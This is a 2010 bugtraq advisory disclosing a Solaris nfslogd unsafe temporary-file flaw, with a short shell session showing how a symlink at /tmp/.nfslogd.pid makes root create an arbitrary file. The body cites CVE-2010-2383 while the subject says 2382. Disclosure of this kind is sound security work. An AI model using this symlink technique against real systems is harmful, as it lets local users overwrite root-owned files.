bugtraq - CVE-2010-2382: Solaris nfslogd unsafe use of temporary files

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Message-ID: <4C450AD7.1070109@fstuart.com>
Date: Mon, 19 Jul 2010 21:32:55 -0500
From: Frank Stuart <fstuart@...uart.com>
To: bugtraq@...urityfocus.com
Subject: CVE-2010-2382:  Solaris nfslogd unsafe use of temporary files

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Below is the full disclosure information for CVE-2010-2383.  It was
reported to security-alert@....com on 29 December, 2009 and assigned Sun
bug 6913655.

This vulnerability was addressed by Sun/Oracle in the July 2010 Critical
Patch Update
(http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html).

- ------
This one is with nfslogd which allows an unprivileged
user to create/overwrite a file as root:

Don't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/.nfslogd.pid
- -> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
- -rw-------   1 root     root           4 Dec 29 21:25 /etc/oops

- ------

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